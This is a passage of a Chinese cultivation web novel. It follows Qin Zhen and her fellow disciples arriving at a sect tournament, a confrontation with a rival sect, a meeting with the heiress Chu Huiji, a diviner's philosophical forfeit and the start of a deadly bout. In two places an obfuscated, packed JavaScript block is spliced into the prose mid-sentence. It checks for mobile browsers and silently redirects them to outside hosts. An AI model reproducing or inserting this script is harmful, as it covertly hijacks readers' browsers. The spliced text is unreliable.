秦蓁有些不好意思的开口:“虽然我未上过道源宫的学塾,但每次接任务遇到的一些同门还有长老人都很好,我自是希望宗门大比咱们的名次更高的。” 柳清沂扬起明艳的笑:“无妨,咱们道源宫的弟子们可都是好弟子,决出谁都能叫其他宗门的人记住——这便是我们道源宫的人。” 秦蓁看着她,也笑:“对,同门都很厉害,道源宫便是这般好。” 柳清沂软着眼神揉揉她的头:“小师妹都长高了,揉你脑袋没以前顺手了。” “师姐……”秦蓁有些羞赧,却还是乖乖任她揉了头发,柳清沂轻笑。 “秦师妹!” 二人回头,原是易师姐也比完一场,趁休息时跑了过来。 待她们回头易师姐才认出柳清沂,惊讶行礼:“柳长老。” 柳清沂摆摆手:“莫要多礼,不必拘束。” 易师姐倒也知道柳清沂天天来看秦蓁比试,只是没想到会在段师姐的擂台边上看见她。 但柳清沂这么一说,她便真就不拘束了,嘻嘻笑道:“我来是与秦师妹说——华师弟那个倒霉鬼果然抽中你了!哈哈!” 易师姐笑弯了眼:“就他那运气!估计后边又得跟陈师弟对上,陈师弟近年来进步很大,他恐怕也不好取胜,再抽几个厉害的师姐师兄师弟师妹们,他就打不上前五了!” 秦蓁哭笑不得:“易师姐……” 易师姐翘起嘴角:“本来还说若他抽到与我打,我就难进前五了,哎呀果然不必小看他的运气!” “喂喂喂,我听见了。” 华师兄的声音从后边传来,易师姐一点不收敛,兴冲冲朝他招手:“嗨呀,倒霉师弟,怎么样?抽到陈师弟了吗?” 华师兄疲惫的唉声叹气:“抽到了,唉!我有些信了三年前陈师弟给我算的那个凶卦了,那其实是预示未来吧……” 44. 这也是群讨厌鬼 最后华师兄果然没进前五名。 他险胜陈师兄后,便碰上一位实力强劲的同门师姐。他已尽全力,却还是落败,胜场不够,道源宫的前五已与他无缘。 “罢了,若我实力足够,签运如何也无法影响我,到底还是实力差了些。” 华师兄虽是好胜,但也不惧输,不在前五名也不过是多打一轮,既是宗门大比,多打多学也是好事,不是非争名次。 道源宫最终决出的二十人今日便要聚集,启程去宗门大比现场。 历年来都是观云峰的陈长老带队参加宗门大比,而这次柳清沂也晃晃悠悠跟来,说她许久未出坐忘峰,凑个热闹。 秦蓁弯眼朝她笑,柳清沂也笑,悄悄说:“我要看我小师妹争魁首的!” 陈长老也看着她们笑,颇有些慈眉善目。 她领众人上了云舸,云舸典雅大气,内部也如道源宫陈设一般风格,古朴简洁。 众人聚在舸首,陈长老说道:“此次宗门大比场地定在两界观,若遇到凡人不要多扰,许多是两界观宗门弟子的亲朋,两界观并不禁凡人。” “出了比试场地,便不要轻易聚灵,御剑也需注意,莫要荡出过大的灵力波动。” 弟子们应是。 面前这群身穿道源宫蓝白弟子服的少年人眼睛黑亮,姿态劲拔,陈长老看着众人,欣慰笑道:“我道源宫教出的弟子,便是如此风貌。” “历来宗门大比皆以学习为主,未到自己的比试时,多去其他擂台看看,学学其他宗门其他修者的打法,若能参悟一二融入实战,是比名次更重要的收获。” “大比的具体规则待三日后开赛时,两界观李掌门会告知,此前便好好休整。” 陈长老说完便让弟子们回云舸的舱房中,云舸内室宽广,弟子们一人一间舱房,旬鹊却跟上秦蓁,悄声问道:“阿蓁姐姐,小鹊之前给你的新话本看完了嘛?” “别打坐修炼啦!看话本看话本!” 旬鹊笑笑闹闹,拉着秦蓁到榻边坐下,一副她要再修炼她就不罢休的样子。 秦蓁于是点头:“之前看了的,想不到那鬼王身世竟那般凄惨。” “原先我还以为是我对江湖事知之甚少,才未听过他的名字,没想到他本就是无名之人。”秦蓁叹道。 地府界魂怪们种族众多,鬼王幼时被异族铁骑踏破本族领地,弱肉强食,几乎所有族人都被杀死。 鬼王奔逃,又为复仇潜进异族,爬上高位后用尽千万般手段报了灭族之仇。 “他走到如今……着实不易。” 旬鹊瞪眼,不是,女主!你这思维方式怎么跟寻常人不一样啊! “不啊不啊!阿蓁姐姐你看,他那么小就能从一整族人的包围中杀出来——隐藏实力扮猪吃虎啊!心机深重!然后能在那么短时间内就取得异族信任——惯于哄骗他人,狡诈圆滑!接着还成功爬上了可握实权的高位——谋划蛰伏,心性阴沉!最后一统地府界又建立百幽什么的——尸骨累累,手段残暴恶劣!” 秦蓁看着旬鹊气鼓鼓的批了一通鬼王的不是,笑道:“你怎的这般气愤?不管如何,现今的地府界比从前的好上太多。” 旬鹊扁嘴:“不不不,阿蓁姐姐,防人之心不可无,是人是鬼真假难辨。” 他可是大反派之一!将来你得一剑杀了他的。 但剧情变动太大,万一到时你们对上了他并未伤重,要真刀真枪打一场,还是得知己知彼才成。 秦蓁却没意会到太多,只点点头:“小鹊放心,我知晓的,防人之心定是要有的。不过我与他接触也不多,我已不是夏国公主,他们的交易与我无关的。” 她想起祁诡之前也说什么让她少跟鬼王说些话,可后来他们一行人去到地府界,根本就没见到鬼王。 地府界事务繁多,为王之人哪有那般闲情雅致盯着他们几人来往地府,且那人既是为整顿叛党罪魂闭市,说不定也受了些伤。 秦蓁没去深想,他们毕竟也只算勉强相识。 * “到了到了!两界观!” 陈师兄兴奋喊道:“这两界观的境地果真同传闻所言,自云上俯瞰正是阴阳两极。” 华师兄回应他:“两界观有许多符修和卜算师,倒是最合你意了。” “是也是也!我得日日去擂台,多看点比试!” 陈师兄未进前五,倒也算合他意,他实战经验一般,更喜充足理论,用他的话来说——“切磋易受伤,我也不会轻易与人对上,还是汲取理论多看多学适合我。” 他便与华师兄约好日日去擂台,研究其他宗门弟子的打法战术,正巧易师姐这时路过二人,陈师兄便招呼她也一起。 易师姐也未进前五名,她玩笑般嚎了一声:“哎!我前几日还笑华师弟呢!罢了罢了,就当陪华师弟当倒霉鬼了。” “段师姐、秦师妹,你们可是我们的希望了啊!到你们比试时,我们都会去给你们摇旗助威的!” 易师姐张开手掌支在唇边,做欢呼状,众人嬉闹起来,好一会儿才消停。 云舸滞在半空,众人御剑而下。 陈长老带队走进两界观境地,柳清沂跟在最后,看这群第一次去到其他宗门的小弟子们兴奋的叽叽喳喳,也难得觉出几分自在来。 一路走来也见到不少其他宗门的队伍,易师姐挽着秦蓁,一一介绍,不过她所言全凭自己喜好,叫秦蓁哭笑不得。 “秦师妹你看,那边那群白袍弟子,是素观的人,他们使伞,很是厉害!” “那群红衣是魂隐宗的人,喔,讨厌鬼来着的,不必理会,擂台碰上了狠狠打!” “这群身穿青绿长袍的弟子们是青剑宗的人,他们掌门不干事,挺混蛋的……好吧,也不算,毕竟道心碎了。” “但他放着那么多弟子不管避世去了,也没尽到什么掌门责任……还是挺混蛋。” 见秦蓁多看了他们一眼,易师姐想起来:“哦对!林赴川从前便是青剑宗弟子,他还是掌门之徒,摊上这样的师父他还能修成那般剑意,剑心当真坚定。” “诶!孤鸿院的弟子们在那儿呢!那片黑白道袍的!有几个还挺面熟,好像是之前跟咱们一起做过任务的小弟子!” “不过林赴川怎么不在,不是说大比时会过来嘛?我也想看看他跟你们切磋。”易师姐问道。 秦蓁答她:“他在外任务,没法赶回宗门一同前来。距大比开启还有三日,他现今大抵还在路上的。” 易师姐点点头,继续介绍:“秦师妹你看,那边那群金色衣袍的弟子,就是两界观的人。其实他们的弟子服原是明黄色,但他们家大小姐嫌弃,说跟天玄宗的弟子服一个色,后来就改成金色了。” “我也觉得金色更好看,大小姐有品位!”易师姐眉飞色舞。 秦蓁好奇道:“大小姐?” 易师姐点头笑道:“是两界观李掌门的女儿。真千金大小姐,真真掌上明珠,大抵是除了李掌门外,两界观身份最高的人了。” “我从前去凡人界玩,意外碰见过她,她好漂亮的!” 易师姐两眼放光:“哎呀,人也可好,那时我被个凡人哄骗买贵了东西,她还帮我说理呢。” 上扬的语调一转,易师姐“啧”一声道:“怎么说到天玄宗就看到他们人了。秦师妹,这也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346658|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是些讨厌鬼。我最讨厌天玄宗的人了。” 秦蓁顺着易师姐的目光看去,不远处那一片明黄弟子服的天玄宗弟子们,正好也看了过来。 他们交头接耳一阵,带队的长老便眼睛一瞪,领着队伍浩浩荡荡走来,挡在道源宫的队伍面前。 众人莫名被挡了路,还未发问,那天玄宗的带队长老便一昂头,趾高气扬道:“你们道源宫那个叫秦蓁的,此次可有来?不会在外面耀武扬威,回了宗门连个宗门内的前二十名都决不出来吧?” 陈长老面色微凝,挥袖将其刻意释放的飞升期威压挡下,语气稍淡:“不知天玄宗的长老找我宗弟子何事?想来我宗弟子在外如何,还轮不到他人评说。” “呵!我是闭关太久未出宗门了,原来你们道源宫弟子在外惹事,是你这个做长老的起的好头!我看你宗根本不会管教弟子,今日我便来替你们掌门管教管教!” 那天玄宗长老这般说完,抬手就召出法器,明黄色灵气轰然打出,就要冲着陈长老身后的弟子们去。 飞升期的器修攻击猝不及防,众弟子皆惊,纷纷就要拔剑。 陈长老迅速抬掌,打出一道温厚灵力,却是力破千军,直接将那明黄色灵气打散,她语调还算和气,说出的话却是不再客气:“恶意滋事,便是你天玄宗历来的好本事。” “我记得天玄宗长老笼统十二位,你可是属末位?若要挑衅我道源宫,喊你掌门来。确如你所说,你闭关太久,无人认得你这个无名小儿。” 面前人登时气得脸色涨红,但他的法器被陈长老的灵力死死压制,只能逞点口舌之快,便干脆一收法器叫骂起来。 易师姐呸了两声,嘀咕道:“秦师妹,他们怎么赖上你了?秦师妹日后出门在外,看见他们少费口舌多动手!真是一群讨人厌的。” 秦蓁思索半天,想起在百幽境时,那些上门找祁诡的修士中,确有天玄宗的人。 她出来说了句误会,便被他们记上了。 后头的柳清沂也皱眉,天玄宗的人真是越来越不要脸了。 她正要开口,却见一道金色灵气打向那人,紧接着少女清脆的声音响起:“我当是什么人在宗门大比的场地生事,原来是天玄宗的家犬。” “是大小姐!” 易师姐兴奋道:“秦师妹秦师妹,她便是两界观大小姐!是不是可漂亮!” 秦蓁看过去,来人形貌昳丽,器宇轩昂,着一身金色华服,衣饰繁琐,发上也插着许多精巧发簪,叮叮当当地走来。 “楚洄霁!” 天玄宗中有弟子认出来人,对着为首那长老愤愤道:“张长老!她便是那个跟张师兄抢眀皇传承的人!” 那张长老本就是为此事请缨而来,听了这话也顾不上道源宫的人了,转头就对着慢悠悠走来的少女喝道:“好啊!原是你抢我儿传承!” 楚洄霁撩起眼皮瞥去一眼:“明皇传承?有点印象了。本小姐在此,你要作何指教?” 张长老又祭出一个法器,喊道:“吃我一击!” 楚洄霁迅速侧身避过,回身便打出一拳,金色灵气轰出瞬间,张长老赶紧召回法器格挡,却还是有劲风穿过,将天玄宗的弟子们扑了个踉跄。 秦蓁眼中闪过一丝惊讶,衣着这般繁重,竟是个练拳法的体修。 “还真是''子承父业'',一样的实力差又爱叫唤。他合道期打不过我这个刚跨渡劫期的人,你飞升期连我一拳的拳风都能接漏。此等奇事也就天玄宗的家犬能做出了。” 楚洄霁冷笑道:“你我宗门血海深仇,到了我两界观的地盘还敢这般放肆,真当本小姐惧那合约,不会将你们扒皮抽筋吗?” 45. 交钱就能进的宗门果然不靠谱!^…… “另外,大比前禁止私斗,违者关入我宗地牢三日。”楚洄霁慢悠悠说道。 “何时立的规矩?历年大比可从未有这条,你身为掌门之女,竟如此霸道行事!难道私下切磋都不准了?”天玄宗一人喊道。 楚洄霁扶稳因方才出拳带着摇晃的发簪,说:“历来没有,现今有了。方才立的规矩。” 她话落,三位两界观的执法长老破空出现,一人当即点了天玄宗众人哑穴,朝楚洄霁恭敬行礼,再一翻手召出法器,便要将天玄宗众人带走。 张长老目眦欲裂,却因实力不足,纵然使出浑身解数,也只得顶着张气红了的脸,被两界观的执法长老带走。 “大小姐还是这般霸气!” 易师姐扯着秦蓁的袖子,小声惊叹。 旬鹊方才落了东西回云舸去取,现下才过来秦蓁身边,一来便听见这话,倒是若有所思。 剧情中没有这段,楚洄霁也不过是个打酱油的角色。 她似乎有些摸到点蛛丝马迹——这天道剧本崩的地方很多是在边缘npc上,本该一笔带过的角色突然冒出来抢戏份了。 不过,楚洄霁倒是个她也挺喜欢的小配角。 剧情中提到她,是在一个上古秘境中,众人争抢传承。 一些修士仗着身份靠山,手段下作了些,她不满出拳,好好教那些人知道了什么叫实力说话,且她是两界观掌门的女儿,身份也根本不低。 拼修为打不过,身份也没法压她一头,流言便成了他们唯一能发泄的方式。 他们说她为女子,却炼体修,分明不像话;又说难怪她横行霸道,根本没个女子样;还说既选择做个体修,衣饰便该轻便,华冠丽服既妨碍行动又有损体修脸面。 “还自称大小姐,纵是凡人家小姐,也得是个大家闺秀才能称……哪家小姐是个体修!好好个掌门之女,不嫌丢份儿!” 楚洄霁却说:“你们男子三三两两只知摇扇子抛金子,便能本少本少的称来呼去,本小姐要身份有身份,要实力有实力,如何称不得大小姐?” “怎么,你们叫少爷便是高贵,我称小姐便不好听?”楚洄霁冷哼:“我哪够得上你们横行霸道!” “女子如何不能做体修?我阿娘便是体修。她是顶天立地的好女子,我随她姓,继承她衣钵,我阿爹爱我们亦敬我们——如此便惹你们不快了?这般爱说教,我亦可说与你们听。” “体修如何,又与我何干?是我为体修!所行皆由我掌控!我就喜爱锦衣华服,做个体修非得改变我喜好不成?妨碍行动倒也不用你们替我忧心——打你们根本不必紧带束衣。” 旬鹊接收剧情时看到这段都要拍掌称快了,她还在心里给楚洄霁起了个“小凤凰”的名号。小凤凰穿金戴银爱扬下巴,她怎么看怎么可亲可爱。 只是可惜体修基本都是近身攻击,易受伤难逃脱,当年围剿魔域时,楚洄霁的母亲与几位体修在前方开路,阵法启动时已来不及撤退,牺牲在了魔域。 否则这只小凤凰,大抵要比现在更纯粹快乐许多。 秦蓁回应易师姐的话:“她行事果断,是个爱憎分明的性子。” 旬鹊敏锐觉出,秦蓁怎么好像有点板正过头了,楚洄霁其实就是个小霸王嘛,给她这么一说像什么捍卫正道的女侠一样。 她瞟了眼旁边激动附和的易师姐,沉思秦蓁会不会被道源宫的这几个二愣子带偏了,时不时就想抽疯抛头颅洒热血了。 不过百幽那会儿她要留下抗天雷……其实就有些苗头了。 坏事。 天道女主还是冷漠点好,唯我独尊才是她要走的路。 别跟配角npc混一块儿啊! 旬鹊上前双手一扯,抱住秦蓁手臂,企图夺走她的注意力:“阿蓁姐姐……” 可她刚开口,楚洄霁便走到了道源宫的队伍面前,向陈长老问好后笑着喊易师姐:“凝予,许久不见了。” 易师姐双臂一抬,揽着秦蓁和旬鹊一同走上前:“大小姐!好久不见!” 二人寒暄一阵,三两句便定下改日参观两界观境地的行程,易师姐说再喊上段师姐,她们五人同去,还说两界观有大片凡人境地,秦师妹可以多逛逛了。 楚洄霁看向秦蓁,微微一愣后紧紧盯着她。 秦蓁有些疑惑,正要开口,楚洄霁和悦问道:“你是夏国的昭纯公主?” 她轻轻抬眉,点了点头,楚洄霁笑容更大:“我从前见过你的,不过你大抵不记得我了。” 秦蓁很是意外,但楚洄霁却没有继续说下去的意思,只是看着她笑,问了一串“修炼可还辛苦遇事可还顺心”的话,待她好好答了才罢休。 楚洄霁支走来引路的两界观长老,亲自将道源宫众人送到安排好的住处。 临走前她与陈长老说:“天玄宗的人,三日后大比开启还是得放他们出来的,那些人小肚鸡肠,怕是照旧要借题发挥。若他们还来招惹你们,尽管与我说。” 她含糊一下用词:“合约规则之内……也够他们受的。” 陈长老又像平日那般慈眉善目了,她很自然的接话:“你有心了。” 楚洄霁应一声,就要走出门帘,却突然回头直直看向秦蓁,问她:“你觉得我穿金色好看吗?” 秦蓁觉得她有些莫名,但还是实话实说道:“很好看。” 楚洄霁便笑得很欢快的离开了。 她一走,易师姐又凑上来:“秦师妹与大小姐从前竟然见过嘛?” 秦蓁迟疑摇头:“我对她并无印象。” 楚洄霁这般热烈明艳的女子,若她见过,定然不会忘的。 哪怕只是打个照面的匆匆一眼,也一定让人印象深刻。 “或许是大小姐从前出去玩遇上秦师妹出游,大小姐单方面的见过你。” 易师姐又嬉闹起来,秦蓁便也没再去想,听她如数家珍般说着她从江湖纪事上读来的两界观胜地,兴高采烈说明日便能一睹风采了。 秦蓁也有些期待,她儿时就是个贪玩的性子,哪怕有规矩束缚也三天两头往宫外跑,如今修炼了更自在了,反而还未真正外出游玩过了。 两人计划一番,旬鹊在一旁嗯嗯啊啊地附和。待众人安顿好,又喊来了段师姐,段师姐性子本是稳重,和几人凑一块却也活泼了许多,房内女孩们嬉笑的声音许久未断。 唯有旬鹊因为楚洄霁一句“从前见过”,便真在绞尽脑汁想着这小凤凰和自家女主什么时候碰过面。 分明她与秦蓁从前几乎寸步不离,她也没见过楚洄霁的,今日应是二人第一面才对。 若是她没来前……那也太前了,她俩都才多大点,实在不太可能。 旬鹊想了半天,想不出个所以然,泄气放弃,总归秦蓁也没印象,应当不能出什么 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楚洄霁笑着剜她一眼:“那你该打一场便说一句‘一般一般,不过如此’。” “那也太欠揍了!”易师姐闹她。 段师姐刻意端出一副主持大局的样子:“易师妹,不可轻敌,否则……” 她话音一转:“否则我便向陈长老讨个留影珠,记下你输比试的样子,日日放与你看。” 易师姐挤进秦蓁与旬鹊中间,一手拉一人,对着段师姐哼哼笑道:“秦师妹和旬师妹说这样不好,有损咱们道源宫颜面,段师姐此法不可取。” 秦蓁与旬鹊对视一眼,俱是笑开,也学着易师姐哼哼笑:“可取可取,哪里不好,也根本不会损我们道源宫颜面。” 易师姐便“嗷”一声,也去闹她们,又是一阵嬉笑,最终竟是楚洄霁正色起来:“好啦。明日大比开启,我也会去看比试,你们好好备战。名次倒是无所谓,尽力便是最好。” 众人也正色应下,目送她离开后,也各自回房歇息。 * 宗门大比开启当日,天玄宗众人终于被放出地牢,楚洄霁倒没刻意苛待他们,地牢内也造了干净房间供他们住所,只是地牢内哪怕造个金碧辉煌,外边看也是个地牢,说出去终究是不大好听。 张长老和簇拥着他的几位弟子骂骂咧咧,说着楚洄霁仗势欺人专横跋扈,若不是有两界观长老在前方领路带他们去比试场地,恐怕张长老要骂出许多难听的话来。 未上前去仅在他身后隔着一小段距离跟着他的几位弟子面色倒如常,只是眼中却有几丝鄙夷,也有人脸色难看,却只能一言不发隐忍着。 “于师姐,于师姐。” 女孩怯怯的声音渐渐加大,那被唤了好几声于师姐的女子这才反应过来,松开紧攥成拳的手,掩了神色回头。 身后女孩面孔稚嫩,那双过分明亮却总是带着怯意的眼睛一眨不眨望着她。 她问道:“江师妹何事?” “张长老和几位师兄……他们从前也这般嘛?” 于师姐抿唇,僵硬点了点头,见江师妹扁扁嘴后似乎没有再发问的势头,便转回头,继续跟着队伍走。 她没有听到,那位江师妹在后头用极小极小的声音,愤愤的说:“我就知道这种交够灵石就能进的宗门不靠谱!” 46. 定局卜算之法 两界观李掌门,是个秉节持重的君子。 从前以凡人之躯修行并没有现下这般容易,许多人虽有道缘,但终老一生也难以问道,大部分宗门并不愿收凡人入宗。 同样的资源,凡人堪堪筑基,修士却能摸到元婴壁垒。 将近两个境界的巨大差距,更不必提花费的时间及凡人本身的寿数问题。 唯有两界观自建立起,每每宗门招新皆是两方界地同招,名额也相等。 但修真界的许多修士并不满。 各宗门每次招新的总招人数是不变的,两界观划出一半名额给凡人界的人,等于修真界的名额少了一半,若想进两界观,修真界的人们之间竞争更大,反倒凡人更加轻松。 于是也引不少修士诟病。 但李掌门从来只说,凡人既有道缘,能修习道法,那便同是修士,问道途中亦有不少修真界之人陨落,修炼成功与否,不可作为阻拦他们修行的条件。 且凡人界来的人们,凝聚力较修真界的人更强,很是难得可贵。 修真界之人寻真问道,追求超凡脱俗,因明了各种因缘道法,行事往往先思因由,不肯多沾染难解的因果,大多独行在问道途中。 他们的寿数太长,一生之事飘如云烟。 修炼得久了,大多人的性子也更淡了,毕竟修炼飞升皆乃个人之事,闭关修习占了他们大半生命。 不过修真界本土的修士可选择的宗门有许多,而凡人界的修士基本只有两界观愿意接纳,所以也算公平。 只是许多其他宗门的长老暗自鄙夷,说李掌门怕是疯了,浪费这么多资源给凡人,听到的那点声响还不如蚍蜉触水。 也有许多人声讨过他,说修士以护佑苍生为己任,他身为掌门,该教养出更多的能人。 但李掌门总是很平和的说着上述那些话,而两界观的综合实力也并不低。 长此以往,也没人去个木荷下企图煽风点火了。 而现今两方界地,因从前那位前辈散己修为造化万物,凡人入道的壁垒被打破,许多居地位的凡人掷千金抛万器,前来问道。 修真界的人才回过味来,凡人界总有他们不能及的地方,修炼的鸿沟一跨,他们同是众生。 于是各宗门也陆续扩招凡人界来的修士,但两界观早已收拢了十足十的人心。几乎所有道缘深体质好的凡人界修士都去了两界观。 风口一转,众人皆言李掌门眼光长远,公正无私。 秦蓁回忆完,看向台前鹤骨松姿的李掌门,明了这些传闻评价并不虚假。 李掌门平和的宣读宗门大比的规则,最后补充道:“宗门大比以‘学’为主,切忌为争胜重伤对手,同为修士,以武会友应是结交,而非树敌。” 此前类似的话陈长老已与众人说了数次,秦蓁原先以为这是大比共识,所以陈长老才反复强调,但李掌门说完这话,她一瞟远处其他宗门,许多人竟是神色各异。 秦蓁掂了掂剑,心中有数。 * “296号——道源宫弟子秦蓁,对战160号——阴阳观弟子温子艺。” 秦蓁跃上擂台,静待对手。 宗门大比的弟子序号随机,第一二轮比试的对手也随机,七日为一轮,共五轮。而第三轮开始按胜场次数排序,也正式开启淘汰。 九州大小宗门皆聚于此,众弟子自五湖四海来,各类招式繁多到看不出何门何派,甚至叫不出术法名字。 对于许多弟子来说,第一二轮反倒是最难打的。他们初入江湖,若败在迥异的技法上,也只能下了擂台回头找有经验的师姐师兄们请教。 一场场这般比下来,灵力消耗虽有丹药补充,对战消耗的心神精力却难回复,若是连着好几场落败,也难再平稳心态对战。 已是第一轮第六日,秦蓁对战十分顺利,六日全胜。 她不是没有遇到修习她不了解的流派术法的人,但多数与她实力相差较大,她可力敌千钧,出剑便不必时刻算清对手的一招一式。 秦蓁剑意昌盛,赢得也漂亮,一轮下来也打出了名气,许多弟子慕名前来观战。 她的战意也被激起来,若不是林赴川因事耽搁仍然未到,她每日比试完定要再与他切磋一番。 林赴川已至化神,剑意也更甚。秦蓁前三年里也与许多人切磋对练过,还是觉得与他切磋最是尽兴,二人剑意也最契合。 师父也说,他们二人确有搭档之缘。 林赴川昨日与她通讯,说恐怕最快也得半月他才能过来了,耽搁他的意外之事关系到他从前的师父,二人虽已断绝,但他……难以旁观。 他语气有些沉重,可秦蓁细问,他却并不多说,只承诺无论如何第三轮比试他一定到场。 秦蓁便不再问,只说:“好,第三轮来不了也无事,最后一日来看我争魁首。你是上一次宗门大比魁首,我与你切磋也算拿你当陪练了。” 秦蓁笑道:“不一定能夺得魁首,但争一争的实力我一定有。” 林赴川也笑,说他信她,他赌她定能夺魁。 秦蓁收回思绪下望,擂台下观战的人似乎永远都有很多,只是也随着台上人的变动去到其他擂台下。她一眼扫过,并未看见多少熟面孔。 段师姐他们还在比试,唯有陈师兄今日比试已经结束,他最后一场的擂台离这方近,便过来观战。 人群突然分开一小道缝,白金色弟子服在人群中并不显眼,但来人捏了个诀隔出一个小结界,人群被结界抵住,又听到这人一路喊着“借过莫怪”,也自发散开了一点为他让路。 温子艺便是这般走上了擂台。 他上了擂台,先是对着秦蓁行礼,抱歉说道:“久等。我不便飞身跃来。” 见秦蓁应声,比试开始,他却并没有显出什么严阵以待的势头,而是摸出一张金色符纸,两指一抛,那符纸晃晃悠悠飘到擂台中心。 秦蓁握剑凝神观察。 符修虽然正面硬抗不如剑修体修这些,但他们长于技法,以算定局,作战并不逊色,与其对战需得万分小心。 秦蓁紧盯着符纸,余光也锁着对面的人。 但没想到几息后温子艺一扬笑,拱手道:“我认输。” 秦蓁错愕,却见他竟真的将飘在擂台中心的符纸召回到手中,又妥帖抚了抚后放于袖中,似乎是真要认输,不打算出手了。 “我不接受。” 秦蓁问:“一招未试,为何认输?” 他答道:“必输为何要试?” 秦蓁皱眉说道:“还未开始,你怎知必输?你观战过我?觉得打不过?” 她这话直白,带了点不客气,温子艺却没有多余的反应,只摇头道:“天注定。” “金符算术,我已知结局。” 他继续道:“一轮中我已认输了五场比试,非是诈你,亦非消极怠战。我若能赢当然还是要打的。” “上一把魂隐宗那个弟子也不接受我的认输,猝不及防他就冲到我面前了。” 温子艺叹气一声:“还好我跳下擂台的速度够快,再慢点他的灵力就要挨着我了。我并不想受伤。” “你也别说什么仅靠卜算如何定局,也别问凡事未发生前怎不能改变——太外行了啊,还很质疑我的术法能力。” 他说了一连串,最后停在这里,有些吊儿郎当的笑:“虽然我课业确实不好。” “但这等入门卜算我可不会出错,人之命,天注定,此次比试乃我必输局。” “我也不想像你们一样积攒切磋经验什么的,别劝我啊别劝啊,真不爱跟你们这些没学好卜算之法的人说话。尤其剑修。” 秦蓁觉着有些窝心,辩了一句:“修道之人,以力破法亦是入门。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15384648|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温子艺慢慢抬眼,说:“那是天之骄子才要做的事。” “我算我师兄带大的,随了他的性子,话很多。”他幽幽道:“你若要得个缘由才可接受,我能与你说到明日比试开启。” 秦蓁抿唇,有丝不快,于是她说道:“那你便说。” 温子艺一噎,瞪了一眼来,便真就开始从万物因缘际会说起。 见秦蓁竟没打断自己,他施施然端起架势,接着继续讲万物循环、讲天常伦理、讲知行实践。 台下观战的弟子们从一开始的震惊,到叫骂,再到沉默,见秦蓁似乎也没了与温子艺对打的兴致——她提起的剑都放下了。 于是有部分人受不了在专注实战的擂台上还要接受知识的洗涤,揉着耳朵陆续散去。 温子艺早有所料,只是秦蓁依旧面色平静,倒叫他嘀咕了两声,然后放飞自我,将这宗门大比的擂台当成了道法辩论的现场。 说至天人合一的诠释时,他叹:“不过,若要我顺应自然共生,那这天道得有意识才成。天道无形无态,未通人性,苦都叫众生受了。” 秦蓁终于有了点反应:“天道不该有意识。” “天道为规则,不该有人意。” 她低低道:“大道无情,天道应漠视众生,只应循环。无情才是公正,才能公平。” “错了。” 温子艺笑眯眯道:“从来都是人在强求公平。” 他抬手,澄黄符纸翻飞,带笑意的眉眼低顺,却叫秦蓁看出几分漫不经心的冷漠。 “万物自生长而出时便已分等阶,天神道、人间道、修罗道。地狱道、饿鬼道、畜生道。三善三恶,六道轮回。” “我阴阳观修习六道,却是分为:天道、人道、鬼道、畜生道、魔神阿修罗道……” “还有一道,为——无常道。” “万物轮回虽与生前业有关,但最开始时,六道总要有生物,那谁分人道,谁分畜生道呢?” “生死一念,你可敢说六道轮回便是公平?” 秦蓁没法说。 她本就是皇室中人,睁眼便能看见富丽堂皇的寝殿,迈开脚便是五步一楼,十步一阁。 可宫中侍卫侍女纵然与她行走在同样的毡毯上,却因出身不同,实则天差地别。 说什么生前业,可人死灯灭,转世轮回谁还记得谁呢。 “我的课业不好,仅有法术能拿得出手。因为我总觉得,轮回的下一世是全新之人。” “分明是没有记忆的婴孩,也分明是其生长历程在塑造他,为何偏要扯上辈子的业果?难道此一生,是由上一世的业果决定?” “可这般想也不对,若我上一世为恶众多,害了许多人,那我也该要偿还的,否则对那些人更是不公。” 温子艺停住话语,笑一声:“长篇大论了。人总是想得太多。” 他摊手,灵力将飞散的符纸聚起收回:“你问我缘由,我答了缘由,你可接受我的认输了?” 秦蓁无言,轻轻点头。 温子艺于是行礼走下擂台。 站在擂台下,他仰头望向秦蓁,又笑了笑,向她传音:“但,人该无惧。” 秦蓁回望他,却没有应声,随着擂台侧边两界观的裁判师兄一句“296号——道源宫弟子秦蓁,胜”,温子艺转身,淹没在台下观战的众人之中。 秦蓁跳下擂台,这是她今日最后一场比试。 且待来日。 她想。 * 第二日第一场秦蓁便有比试,而段师姐等人这天的比试皆在后几场,几人于是来到秦蓁的擂台下观战。 秦师妹剑意好,又有新生锐气,前面几场比试都打得漂亮,赢了许多名气很大的宗门楚翘,众人很看好她,觉得她能一路过关斩将到决赛。 万万没想到,秦蓁竟然输了。 47. 她一看就有些歪门邪道! 每场比试赛后会抽取下一场比试的对手,但赛间短暂,并没有多少时间能去了解对方,所以每日的第一场比试能做的准备是最充分的。 秦蓁昨日抽取到今日第一场比试的对手后,照常研究了下。 对方是个名不见经传的小宗门弟子——地门,柳一。她前几日比试的战绩并不算好看。 擅长以爪聚气作战,并不使武器,不过身法很是敏捷。 秦蓁自认并未轻敌,但对方探爪而来时,还是叫她吃了一惊。 极其强烈的杀气随着灵力扑面,似野兽妄图用尖利爪牙撕开猎物咽喉。 秦蓁急速侧身避开,发丝被这爪风带起飞扬,生生在空中滞住几息,才缓缓垂下,服帖在她脸侧。 她暗自心惊,凭这抬手一击,这柳一就不可能仅有那般不太好看的战绩。 一击未中,柳一再击,速度快得秦蓁差点捕捉不到,生死本能让她险险避开,利爪擦过她肩侧,瞬间见血。 秦蓁万分紧绷,寒意爬上脊背。 柳一出爪的目标,是她的心脏。 